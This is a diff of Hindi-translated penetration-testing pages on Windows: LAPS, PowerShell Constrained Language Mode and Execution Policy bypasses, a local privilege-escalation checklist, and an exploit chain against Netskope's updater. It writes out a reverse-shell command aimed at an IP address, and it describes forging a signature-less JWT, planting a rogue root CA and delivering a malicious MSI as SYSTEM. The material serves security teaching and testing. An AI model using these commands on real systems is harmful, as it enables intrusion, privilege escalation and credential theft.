The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), स्थानीय Administrator पासवर्ड के प्रबंधन को सक्षम करता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, Active Directory में केंद्रीकृत रूप से संग्रहित होते हैं। इन पासवर्ड्स तक पहुँच ACLs के माध्यम से अधिकृत उपयोगकर्ताओं तक सीमित है। पर्याप्त अनुमतियाँ मिलने पर, स्थानीय admin पासवर्ड पढ़ने की क्षमता प्राप्त हो सकती है।
The **Local Administrator Password Solution (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय Administrator पासवर्ड्स के प्रबंधन की सुविधा देता है। ये पासवर्ड्स, जो **randomized**, unique, और **regularly changed** होते हैं, केंद्रीय रूप से Active Directory में संग्रहीत होते हैं। इन पासवर्ड्स तक पहुँच ACLs के माध्यम से अधिकृत उपयोगकर्ताओं तक सीमित रहती है। पर्याप्त अनुमतियाँ दिए जाने पर स्थानीय admin पासवर्ड पढ़ने की क्षमता प्राप्त हो जाती है।
{{#ref}}
@ -206,9 +207,9 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) PowerShell को प्रभावी ढंग से उपयोग करने के लिए आवश्यक कई सुविधाओं को **प्रतिबंधित कर देता है**, जैसे कि COM objects को ब्लॉक करना, केवल अनुमोदित .NET types को अनुमति देना, XAML-based workflows, PowerShell classes, और अधिक
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **कई उन सुविधाओं को लॉक कर देता है** जो PowerShell को प्रभावी ढंग से उपयोग करने के लिए आवश्यक हैं, जैसे कि COM objects को ब्लॉक करना, केवल अनुमोदित .NET types की अनुमति देना, XAML-आधारित workflows, PowerShell classes, और अन्य
### **जाचें**
### **जाचें**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
@ -219,9 +220,9 @@ $ExecutionContext.SessionState.LanguageMode
Powershell -version 2
```
वर्तमान Windows में वह Bypass काम नहीं करेगा लेकिन आप[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**इसे कम्पाइल करने के लिए आपको आवश्यकता पड़ सकती है** **कि** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> जोड़ें `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` और **परियोजना को .Net4.5 में बदलें**।
**इसे कंपाइल करने के लिए आपको संभवतः आवश्यकता हो सकती है** **करने के लिए** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **प्रोजेक्ट को .Net4.5 में बदलें**।
#### प्रत्यक्ष bypass:
#### सीधा bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
@ -229,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग किसी भी प्रक्रिया में **Powershell कोड निष्पादित करने के लिए** कर सकते हैं और constrained mode को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग किसी भी process में **execute Powershell** code करने और constrained mode को bypass करने के लिए कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS निष्पादन नीति
## PS Execution नीति
डिफ़ॉल्ट रूप से यह **restricted.** पर सेट होता है। इस नीति को बायपास करने के मुख्य तरीके:
डिफ़ॉल्ट रूप से यह **restricted.** पर सेट होता है। इस नीति को bypass करने के मुख्य तरीके:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -253,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
More can be found [यहाँ](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Security Support Provider Interface (SSPI)
यह API है जिसे उपयोगकर्ताओं को प्रमाणित करने के लिए उपयोग किया जा सकता है।
यह API है जिसे users को authenticate करने के लिए उपयोग किया जा सकता है।
SSPI दो मशीनों के बीच संचार के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होता है। इसकी पसंदीदा विधि Kerberos है। फिर SSPI यह नेगोशिएट करेगा कि कौन सा प्रमाणन प्रोटोकॉल उपयोग किया जाएगा; इन प्रमाणन प्रोटोकॉल्स को Security Support Provider (SSP) कहा जाता है, ये हर Windows मशीन में DLL के रूप में मौजूद होते हैं और दोनों मशीनों के एक ही SSP का समर्थन करने पर ही वे संवाद कर सकते हैं
SSPI उन दोनों मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इस के लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा authentication protocol उपयोग किया जाएगा, इन authentication protocols को Security Support Provider (SSP) कहा जाता है, ये प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने में सक्षम होने के लिए एक ही का समर्थन करना चाहिए
### Main SSPs
### मुख्य SSPs
- **Kerberos**: पसंदीदा
- **Kerberos**: पसंदीदा तरीका
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** and **NTLMv2**: संगतता कारणों से
- **NTLMv1** और **NTLMv2**: Compatibility कारणों से
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web servers और LDAP के लिए, पासवर्ड MD5 hash के रूप में
- **Digest**: Web servers और LDAP के लिए, password MD5 hash के रूप में
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL और TLS
- **Schannel**: SSL और TLS के लिए
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: इसका उपयोग उपयोग होने वाले प्रोटोकॉल (Kerberos या NTLM — जहाँ Kerberos डिफ़ॉल्ट है) को नेगोशिएट करने के लिए किया जाता है।
- **Negotiate**: यह उपयोग किए जाने वाले प्रोटोकॉल (Kerberos या NTLM, जहाँ Kerberos default है) को negotiate करने के लिए उपयोग होता है
- %windir%\Windows\System32\lsasrv.dll
#### The negotiation could offer several methods or only one.
#### बातचीत कई तरीकों की पेशकश कर सकती है या केवल एक।
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक फीचर है जो उच्च-प्राधिकार वाली गतिविधियों के लिए **सहमति प्रॉम्प्ट** सक्षम करता है।
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक feature है जो elevated गतिविधियों के लिए एक consent prompt सक्षम करता है।
{{#ref}}

View File

@ -2,114 +2,114 @@
{{#include ../banners/hacktricks-training.md}}
### **Windows local privilege escalation vectors खोजने का सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Windows local privilege escalation vectors को खोजने का सर्वश्रेष्ठ टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] प्राप्त करें [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] खोजें **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] kernel **exploits** खोजने के लिए **Google** का उपयोग करें
- [ ] kernel **exploits** खोजने के लिए **searchsploit** का उपयोग करें
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) में कोई रोचक जानकारी?
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) में पासवर्ड?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) में कोई रोचक जानकारी?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
- [ ] उपयोग करें **Google to search** kernel **exploits** के लिए
- [ ] उपयोग करें **searchsploit to search** kernel **exploits** के लिए
- [ ] क्या दिलचस्प जानकारी है [**env vars**](windows-local-privilege-escalation/index.html#environment)?
- [ ] क्या पासवर्ड हैं [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) में?
- [ ] क्या दिलचस्प जानकारी है [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
- [ ] क्या [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] क्या [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] क्या [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] क्या [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] जांचें [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)और [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings
- [ ] जांचें [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] जांचें क्या [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)सक्रिय है
- [ ] जाँच करें [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)और [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings
- [ ] जाँच करें [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] जाँच करें कि [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)active है या नहीं
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] जांचें क्या कोई [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] जाँच करें क्या कोई [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) है
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] जांचें [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] जाँच करें [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] जाँच करें [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] जाँच करें [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] क्या आप [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] जांचें क्या आपके पास इनमें से कोई token सक्षम है](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] जाँच करें क्या आपके पास इनमें से कोई टोकन enabled हैं ( [**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege**](windows-local-privilege-escalation/index.html#token-manipulation) ) ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] जांचें[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?)
- [ ] जांचें [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] क्या है[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
- [ ] जाँच करें [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?)
- [ ] जाँच करें [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] क्या है [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] जांचें **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] बाहरी से restricted छिपी हुई local services की जाँच करें
- [ ] जाँच करें **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] जाँच करें बाहर की ओर restricted किसी भी hidden local services
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Processes binaries के [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] `ProcDump.exe` से रोचक processes के साथ क्रेडेंशियल चुराएँ ? (firefox, chrome, आदि ...)
- [ ] चुराएँ credentials **interesting processes** से `ProcDump.exe` का उपयोग करके ? (firefox, chrome, आदि ...)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] क्या आप किसी भी service को **modify** कर सकते हैं? (permissions) (Can you **modify any service**?)
- [ ] क्या आप किसी भी service द्वारा **execute** किए जाने वाले **binary** को **modify** कर सकते हैं? (Can you **modify** the **binary** that is **executed** by any **service**?)
- [ ] क्या आप किसी भी service के **registry** को **modify** कर सकते हैं? (Can you **modify** the **registry** of any **service**?)
- [ ] क्या आप किसी भी **unquoted service** binary **path** का फायदा उठा सकते हैं? (unquoted service paths)
- [ ] क्या आप किसी service को **modify** कर सकते हैं? (Can you **modify any service**?)
- [ ] क्या आप किसी service द्वारा execute किए जाने वाले **binary** को **modify** कर सकते हैं? (Can you **modify** the **binary** that is **executed** by any **service**?)
- [ ] क्या आप किसी service के **registry** को **modify** कर सकते हैं? (Can you **modify** the **registry** of any **service**?)
- [ ] क्या आप किसी unquoted service binary **path** का फायदा उठा सकते हैं? (Can you take advantage of any **unquoted service** binary **path**?)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] इंस्टॉल किए गए applications पर **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] इंस्टॉल की गई applications पर **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] जाँच करें [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] क्या आप PATH के किसी भी फोल्डर में **write** कर सकते हैं? (Can you **write in any folder inside PATH**?)
- [ ] क्या कोई जाना-पहचाना service binary है जो कोई non-existant DLL लोड करने की कोशिश करता है?
- [ ] क्या आप किसी भी **binaries folder** में **write** कर सकते हैं?
- [ ] क्या आप PATH के किसी भी फोल्डर में **write** कर सकते हैं?
- [ ] क्या कोई ज्ञात service binary है जो किसी non-existant DLL को load करने की कोशिश करता है?
- [ ] क्या आप किसी **binaries folder** में **write** कर सकते हैं?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] नेटवर्क का enumeration करें (shares, interfaces, routes, neighbours, ...)
- [ ] localhost (127.0.0.1) पर सुनने वाली network services पर विशेष ध्यान दें
- [ ] नेटवर्क enumerate करें (shares, interfaces, routes, neighbours, ...)
- [ ] खास ध्यान दें localhost (127.0.0.1) पर सुनने वाली network services पर
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
- [ ] क्या उपयोग करने योग्य [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials हैं?
- [ ] रोचक [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] सेव्ड [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) के पासवर्ड?
- [ ] सेव्ड RDP कनेक्शनों में रोचक जानकारी [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) में पासवर्ड?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) पासवर्ड?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
- [ ] क्या उपयोगी हैं [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials?
- [ ] दिलचस्प [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] saved [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) के पासवर्ड?
- [ ] saved RDP Connections में दिलचस्प जानकारी? [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] क्या पासवर्ड हैं [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) में?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords?
- [ ] क्या [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
- [ ] क्या [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) में पासवर्ड?
- [ ] कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) फाइल?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) में पासवर्ड?
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) में रोचक जानकारी?
- [ ] क्या आप उपयोगकर्ता से क्रेडेंशियल पूछना चाहेंगे? [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials)
- [ ] रीसायकल बिन के अंदर रोचक [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] अन्य [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)
- [ ] ब्राउज़र डेटा के अंदर (dbs, history, bookmarks, ...) [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history)?
- [ ] क्या हैं [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] क्या पासवर्ड हैं [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] क्या कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup है?
- [ ] क्या [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] क्या मौजूद है [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) file?
- [ ] क्या [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] क्या पासवर्ड है [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] क्या दिलचस्प जानकारी है [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
- [ ] क्या आप उपयोगकर्ता से [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) चाहेंगे?
- [ ] क्या दिलचस्प फ़ाइलें हैं [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] अन्य [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] ब्राउज़र डेटा के अंदर (dbs, history, bookmarks, ...) ? [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history)
- [ ] फाइलों और रजिस्ट्री में [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] पासवर्ड ऑटोमेटिकली खोजने के लिए [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
- [ ] पासवर्ड स्वचालित रूप से खोजने के लिए [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] क्या आपके पास किसी administrator द्वारा चलाए गए process का कोई handler है?
- [ ] क्या आपके पास किसी administrator द्वारा चलाए गए process का कोई handler access है?
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] जांचें क्या आप इसका दुरुपयोग कर सकते हैं
- [ ] जाँच करें कि क्या आप इसका अपव्यवहार कर सकते हैं
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,28 +1,28 @@
# एंटरप्राइज़ Auto-Updaters और Privileged IPC का दुरुपयोग (उदा., Netskope stAgentSvc)
# एंटरप्राइज ऑटो-अपडेटर्स और प्रिविलेज्ड IPC का दुरुपयोग (e.g., Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
यह पृष्ठ उन Windows local privilege escalation चेन का सामान्यीकरण करता है जो एंटरप्राइज़ endpoint agents और updaters में मिलती हैं और जो एक lowfriction IPC surface और एक privileged update flow उजागर करती हैं। एक प्रतिनिधि उदाहरण Netskope Client for Windows < R129 (CVE-2025-0309) है, जह एक lowprivileged उपयगकर्त attackercontrolled सर्वर पर enrollment करने के ि मजबूर ि सकत है और ि एक malicious MSI पहुँच सकत है िसे SYSTEM सेव इंस्ट कर देत है
यह पृष्ठ उन विंडोज़ लोकल privilege escalation चेन का सामान्यीकरण करता है जो एंटरप्राइज endpoint agents और updaters में पाए जाते हैं और जो एक कम-रुकावट वाली localhost IPC सतह और एक प्रिविलेज्ड अपडेट फ्लो को एक्सपोज़ करते हैं। एक प्रतिनिधि उदाहरण Netskope Client for Windows < R129 (CVE-2025-0309) है, जह एक कम-प्रििलेज उपयगकर्त enrollment एक attackercontrolled सर्वर ओर मजबूर कर सकत है और ि एक malicious MSI भेज सकत है िसे SYSTEM सेव इंस्ट कर देत है
आप समान उत्पादों के खिलाफ पुन: उपयोग कर सकने वाले प्रमुख विचार:
- एक privileged सेवा के localhost IPC का दुरुपयोग करके reenrollment या reconfiguration को attacker सर्वर की ओर मजबूर करना
- vendor के update endpoints को implement करना, एक rogue Trusted Root CA पहुँचाना, और updater को एक malicious, “signed” package की ओर इंगित करना
- कमजोर signer जांचों (CN allowlists), वैकल्पिक digest flags, और शिथिल MSI गुणों से बचना
- यदि IPC “encrypted” है, तो registry में संग्रहीत worldreadable machine identifiers से key/IV निकालना
- यदि सेवा callers को image path/process name द्वारा प्रतिबंधित करती है, तो किसी allowlisted process में inject करना या एक suspended प्रक्रिया spawn करके अपने DLL को minimal threadcontext patch के माध्यम से bootstrap करना
मुख्य विचार जो आप समान उत्पादों के खिलाफ पुन: उपयोग कर सकते हैं:
- एक प्रिविलेज्ड सेवा के localhost IPC का दुरुपयोग करके पुनः-नियोजन या पुन: कॉन्फ़िगरेशन को एक attacker सर्वर की ओर मजबूर करें
- वेंडर के update endpoints को इम्प्लीमेंट करें, एक rogue Trusted Root CA डिलीवर करें, और updater को एक malicious, “signed” package की ओर इंगित करें
- कमजोर signer checks (CN allowlists), optional digest flags, और ढीली MSI properties से बचें
- यदि IPC “encrypted” है, तो registry में संग्रहित worldreadable machine identifiers से key/IV निकालेँ
- यदि सेवा callers को image path/process name द्वारा प्रतिबंधित करती है, तो किसी allowlisted process में inject करें या एक suspended process spawn करें और minimal threadcontext patch के जरिए अपनी DLL bootstrap करें
---
## 1) localhost IPC के माध्यम से attacker सर्वर पर enrollment जबरदस्ती करना
## 1) localhost IPC के जरिए attacker सर्वर की ओर enrollment मजबूर करना
कई एजेंट एक usermode UI प्रक्रिया के साथ आते हैं जो localhost TCP पर JSON का उपयोग करते हुए SYSTEM सेवा से बात करती है।
कई agents एक usermode UI process के साथ आते हैं जो localhost TCP पर JSON का उपयोग करके SYSTEM सेवा से बात करती है।
Observed in Netskope:
Netskope में देखा गया:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
1) ऐसे JWT enrollment token तैयार करें जिनके claims backend host (उदा., AddonUrl) को नियंत्रित करते हों। Use alg=None ताकि किसी signature की आवश्यकता न रहे
2) provisioning कमांड को invoke करते हुए अपना JWT और tenant name के साथ IPC संदेश भेजें:
1) एक JWT enrollment token बनाएं जिनके claims backend host (उदा., AddonUrl) को नियंत्रित करते हों। alg=None का उपयोग करें ताकि किसी signature की आवश्यकता न हो
2) provisioning कमांड को invoke करते हुए अपना JWT और tenant name के साथ IPC message भेजें:
```json
{
"148": {
@ -31,86 +31,88 @@ Exploit flow:
}
}
```
3) The service starts hitting your rogue server for enrollment/config, e.g.:
3) सेवा आपके rogue server पर enrollment/config के लिए हिट करना शुरू कर देती है, उदाहरण के लिए:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
नोट्स:
- यदि caller verification path/namebased है, तो request को allowlisted vendor binary से originate करें (देखें §4).
नोट:
- यदि caller verification path/namebased है, तो अनुरोध allowlisted vendor binary से originate करें (देखें §4).
---
## 2) Hijacking the update channel to run code as SYSTEM
एक बार जब client आपके server से बात करता है, तो अपेक्षित endpoints को लागू करें और इसे एक attacker MSI की ओर मोड़ें। सामान्य अनुक्रम:
एक बार client आपके server से बात करे, तो अपेक्षित endpoints को implement करें और इसे attacker MSI की ओर steer करें। सामान्य अनुक्रम:
1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
1) /v2/config/org/clientconfig → JSON config लौटाएँ जिसमें updater interval बहुत छोटा हो, उदा.:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → एक PEM CA प्रमाणपत्र लौटाएँ। सेवा इसे Local Machine Trusted Root store में इंस्टॉल कर देती है।
3) /v2/checkupdate → मेटाडेटा प्रदान करें जो एक malicious MSI और एक fake version की ओर इशारा करता है।
2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
Bypassing common checks seen in the wild:
- Signer CN allowlist: सेवा केवल Subject CN को “netSkope Inc” या “Netskope, Inc.” के बराबर चेक कर सकती है। आपका rogue CA उस CN के साथ एक leaf जारी कर सकता है और MSI पर साइन कर सकता है।
- CERT_DIGEST property: CERT_DIGEST नाम का एक benign MSI property शामिल करें। इंस्टॉल के दौरान कोई प्रवर्तन नहीं
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) अतिरिक्त cryptographic validation को disable कर देती है।
- Signer CN allowlist: service केवल यह जाँचना कर सकता है कि Subject CN “netSkope Inc” या “Netskope, Inc.” के बराबर है। आपका rogue CA उस CN के साथ एक leaf जारी कर सकता है और MSI पर साइन कर सकता है।
- CERT_DIGEST property: एक benign MSI property जिसका नाम CERT_DIGEST है शामिल करें। इंस्टॉल के समय कोई प्रवर्तन नहीं होता
